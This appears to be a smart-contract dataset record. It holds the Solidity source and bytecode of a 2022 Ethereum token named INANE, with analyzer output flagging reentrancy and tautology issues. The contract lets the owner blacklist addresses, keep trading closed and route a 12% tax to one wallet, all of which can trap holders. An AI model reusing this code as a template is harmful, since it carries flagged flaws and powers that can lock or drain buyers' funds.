f1681526020019081526020016000205483610ca7565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109d0600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f28565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d936833c83306040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b158015610bbc57600080fd5b505af1158015610bd0573d6000803e3d6000fd5b505050506040513d6020811015610be657600080fd5b8101908080519060200190929190505050610c0057600080fd5b60019050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c9f5780601f10610c7457610100808354040283529160200191610c9f565b820191906000526020600020905b815481529060010190602001808311610c8257829003601f168201915b505050505081565b600082821115610cb657600080fd5b818303905092915050565b6000610ccc33610ae5565b50610d16600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610ca7565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610da2600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f28565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211610e6257600080fd5b818381610e6b57fe5b04905092915050565b600081830290506000831480610e92575081838281610e8f57fe5b04145b610e9b57600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000818301905082811015610f3c57600080fd5b9291505056fea265627a7a72315820d47383e1c76aab75431e7ae5f3e9c00668bfd29ec55211d9a03a1e143366293e64736f6c63430005110032
{"success": true, "error": null, "results": {}}
5,026
0x505d70f5bbfd65d4430e7a28f0816fdcbdb59c5f
/** *Submitted for verification at Etherscan.io on 2022-04-14 */ /** ___ _ _ _ _ _ _____ |_ _| \ | | / \ | \ | | ____| | || \| | / _ \ | \| | _| | || |\ |/ ___ \| |\ | |___ |___|_| \_/_/ \_\_| \_|_____| keep cool find gems */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract INANE is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "INANE"; string private constant _symbol = "NANE"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 12; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x6DD0A538931e29215926c9b3cECfFA73934d39dF); address payable private _marketingAddress = payable(0x6DD0A538931e29215926c9b3cECfFA73934d39dF); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 1000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%"); require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 20, "Buy tax must be between 0% and 20%"); require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%"); require(taxFeeOnSell >= 0 && taxFeeOnSell <= 20, "Sell tax must be between 0% and 20%"); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { if (maxTxAmount > 5000000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610550578063dd62ed3e14610570578063ea1644d5146105b6578063f2fde38b146105d657600080fd5b8063a2a957bb146104cb578063a9059cbb146104eb578063bfd792841461050b578063c3c8cd801461053b57600080fd5b80638f70ccf7116100d15780638f70ccf7146104485780638f9a55c01461046857806395d89b411461047e57806398a5c315146104ab57600080fd5b80637d1db4a5146103e75780637f2feddc146103fd5780638da5cb5b1461042a57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037d57806370a0823114610392578063715018a6146103b257806374010ece146103c757600080fd5b8063313ce5671461030157806349bd5a5e1461031d5780636b9990531461033d5780636d8aa8f81461035d57600080fd5b80631694505e116101ab5780631694505e1461026e57806318160ddd146102a657806323b872dd146102cb5780632fd689e3146102eb57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023e57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611ae2565b6105f6565b005b34801561020a57600080fd5b50604080518082019091526005815264494e414e4560d81b60208201525b6040516102359190611ba7565b60405180910390f35b34801561024a57600080fd5b5061025e610259366004611bfc565b610695565b6040519015158152602001610235565b34801561027a57600080fd5b5060145461028e906001600160a01b031681565b6040516001600160a01b039091168152602001610235565b3480156102b257600080fd5b50670de0b6b3a76400005b604051908152602001610235565b3480156102d757600080fd5b5061025e6102e6366004611c28565b6106ac565b3480156102f757600080fd5b506102bd60185481565b34801561030d57600080fd5b5060405160098152602001610235565b34801561032957600080fd5b5060155461028e906001600160a01b031681565b34801561034957600080fd5b506101fc610358366004611c69565b610715565b34801561036957600080fd5b506101fc610378366004611c96565b610760565b34801561038957600080fd5b506101fc6107a8565b34801561039e57600080fd5b506102bd6103ad366004611c69565b6107f3565b3480156103be57600080fd5b506101fc610815565b3480156103d357600080fd5b506101fc6103e2366004611cb1565b610889565b3480156103f357600080fd5b506102bd60165481565b34801561040957600080fd5b506102bd610418366004611c69565b60116020526000908152604090205481565b34801561043657600080fd5b506000546001600160a01b031661028e565b34801561045457600080fd5b506101fc610463366004611c96565b6108c8565b34801561047457600080fd5b506102bd60175481565b34801561048a57600080fd5b506040805180820190915260048152634e414e4560e01b6020820152610228565b3480156104b757600080fd5b506101fc6104c6366004611cb1565b610910565b3480156104d757600080fd5b506101fc6104e6366004611cca565b61093f565b3480156104f757600080fd5b5061025e610506366004611bfc565b610af5565b34801561051757600080fd5b5061025e610526366004611c69565b60106020526000908152604090205460ff1681565b34801561054757600080fd5b506101fc610b02565b34801561055c57600080fd5b506101fc61056b366004611cfc565b610b56565b34801561057c57600080fd5b506102bd61058b366004611d80565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c257600080fd5b506101fc6105d1366004611cb1565b610bf7565b3480156105e257600080fd5b506101fc6105f1366004611c69565b610c26565b6000546001600160a01b031633146106295760405162461bcd60e51b815260040161062090611db9565b60405180910390fd5b60005b81518110156106915760016010600084848151811061064d5761064d611dee565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068981611e1a565b91505061062c565b5050565b60006106a2338484610d10565b5060015b92915050565b60006106b9848484610e34565b61070b843361070685604051806060016040528060288152602001611f34602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611370565b610d10565b5060019392505050565b6000546001600160a01b0316331461073f5760405162461bcd60e51b815260040161062090611db9565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078a5760405162461bcd60e51b815260040161062090611db9565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107dd57506013546001600160a01b0316336001600160a01b0316145b6107e657600080fd5b476107f0816113aa565b50565b6001600160a01b0381166000908152600260205260408120546106a6906113e4565b6000546001600160a01b0316331461083f5760405162461bcd60e51b815260040161062090611db9565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b35760405162461bcd60e51b815260040161062090611db9565b674563918244f400008111156107f057601655565b6000546001600160a01b031633146108f25760405162461bcd60e51b815260040161062090611db9565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461093a5760405162461bcd60e51b815260040161062090611db9565b601855565b6000546001600160a01b031633146109695760405162461bcd60e51b815260040161062090611db9565b60048411156109c85760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420342560d81b6064820152608401610620565b6014821115610a245760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642032604482015261302560f01b6064820152608401610620565b6004831115610a845760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420342560d01b6064820152608401610620565b6014811115610ae15760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526232302560e81b6064820152608401610620565b600893909355600a91909155600955600b55565b60006106a2338484610e34565b6012546001600160a01b0316336001600160a01b03161480610b3757506013546001600160a01b0316336001600160a01b0316145b610b4057600080fd5b6000610b4b306107f3565b90506107f081611468565b6000546001600160a01b03163314610b805760405162461bcd60e51b815260040161062090611db9565b60005b82811015610bf1578160056000868685818110610ba257610ba2611dee565b9050602002016020810190610bb79190611c69565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610be981611e1a565b915050610b83565b50505050565b6000546001600160a01b03163314610c215760405162461bcd60e51b815260040161062090611db9565b601755565b6000546001600160a01b03163314610c505760405162461bcd60e51b815260040161062090611db9565b6001600160a01b038116610cb55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610620565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d725760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610620565b6001600160a01b038216610dd35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610620565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e985760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610620565b6001600160a01b038216610efa5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610620565b60008111610f5c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610620565b6000546001600160a01b03848116911614801590610f8857506000546001600160a01b03838116911614155b1561126957601554600160a01b900460ff16611021576000546001600160a01b038481169116146110215760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610620565b6016548111156110735760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610620565b6001600160a01b03831660009081526010602052604090205460ff161580156110b557506001600160a01b03821660009081526010602052604090205460ff16155b61110d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610620565b6015546001600160a01b03838116911614611192576017548161112f846107f3565b6111399190611e35565b106111925760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610620565b600061119d306107f3565b6018546016549192508210159082106111b65760165491505b8080156111cd5750601554600160a81b900460ff16155b80156111e757506015546001600160a01b03868116911614155b80156111fc5750601554600160b01b900460ff165b801561122157506001600160a01b03851660009081526005602052604090205460ff16155b801561124657506001600160a01b03841660009081526005602052604090205460ff16155b156112665761125482611468565b47801561126457611264476113aa565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112ab57506001600160a01b03831660009081526005602052604090205460ff165b806112dd57506015546001600160a01b038581169116148015906112dd57506015546001600160a01b03848116911614155b156112ea57506000611364565b6015546001600160a01b03858116911614801561131557506014546001600160a01b03848116911614155b1561132757600854600c55600954600d555b6015546001600160a01b03848116911614801561135257506014546001600160a01b03858116911614155b1561136457600a54600c55600b54600d555b610bf1848484846115f1565b600081848411156113945760405162461bcd60e51b81526004016106209190611ba7565b5060006113a18486611e4d565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610691573d6000803e3d6000fd5b600060065482111561144b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610620565b600061145561161f565b90506114618382611642565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114b0576114b0611dee565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561150457600080fd5b505afa158015611518573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061153c9190611e64565b8160018151811061154f5761154f611dee565b6001600160a01b0392831660209182029290920101526014546115759130911684610d10565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906115ae908590600090869030904290600401611e81565b600060405180830381600087803b1580156115c857600080fd5b505af11580156115dc573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806115fe576115fe611684565b6116098484846116b2565b80610bf157610bf1600e54600c55600f54600d55565b600080600061162c6117a9565b909250905061163b8282611642565b9250505090565b600061146183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117e9565b600c541580156116945750600d54155b1561169b57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116c487611817565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116f69087611874565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461172590866118b6565b6001600160a01b03891660009081526002602052604090205561174781611915565b611751848361195f565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161179691815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a76400006117c48282611642565b8210156117e057505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361180a5760405162461bcd60e51b81526004016106209190611ba7565b5060006113a18486611ef2565b60008060008060008060008060006118348a600c54600d54611983565b925092509250600061184461161f565b905060008060006118578e8787876119d8565b919e509c509a509598509396509194505050505091939550919395565b600061146183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611370565b6000806118c38385611e35565b9050838110156114615760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610620565b600061191f61161f565b9050600061192d8383611a28565b3060009081526002602052604090205490915061194a90826118b6565b30600090815260026020526040902055505050565b60065461196c9083611874565b60065560075461197c90826118b6565b6007555050565b600080808061199d60646119978989611a28565b90611642565b905060006119b060646119978a89611a28565b905060006119c8826119c28b86611874565b90611874565b9992985090965090945050505050565b60008080806119e78886611a28565b905060006119f58887611a28565b90506000611a038888611a28565b90506000611a15826119c28686611874565b939b939a50919850919650505050505050565b600082611a37575060006106a6565b6000611a438385611f14565b905082611a508583611ef2565b146114615760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610620565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f057600080fd5b8035611add81611abd565b919050565b60006020808385031215611af557600080fd5b823567ffffffffffffffff80821115611b0d57600080fd5b818501915085601f830112611b2157600080fd5b813581811115611b3357611b33611aa7565b8060051b604051601f19603f83011681018181108582111715611b5857611b58611aa7565b604052918252848201925083810185019188831115611b7657600080fd5b938501935b82851015611b9b57611b8c85611ad2565b84529385019392850192611b7b565b98975050505050505050565b600060208083528351808285015260005b81811015611bd457858101830151858201604001528201611bb8565b81811115611be6576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c0f57600080fd5b8235611c1a81611abd565b946020939093013593505050565b600080600060608486031215611c3d57600080fd5b8335611c4881611abd565b92506020840135611c5881611abd565b929592945050506040919091013590565b600060208284031215611c7b57600080fd5b813561146181611abd565b80358015158114611add57600080fd5b600060208284031215611ca857600080fd5b61146182611c86565b600060208284031215611cc357600080fd5b5035919050565b60008060008060808587031215611ce057600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d1157600080fd5b833567ffffffffffffffff80821115611d2957600080fd5b818601915086601f830112611d3d57600080fd5b813581811115611d4c57600080fd5b8760208260051b8501011115611d6157600080fd5b602092830195509350611d779186019050611c86565b90509250925092565b60008060408385031215611d9357600080fd5b8235611d9e81611abd565b91506020830135611dae81611abd565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e2e57611e2e611e04565b5060010190565b60008219821115611e4857611e48611e04565b500190565b600082821015611e5f57611e5f611e04565b500390565b600060208284031215611e7657600080fd5b815161146181611abd565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ed15784516001600160a01b031683529383019391830191600101611eac565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f0f57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f2e57611f2e611e04565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ad31a68db2b6d579bc7f04fa642e4a62f3bb537a8b1c486215d02111789aa40764736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
5,027
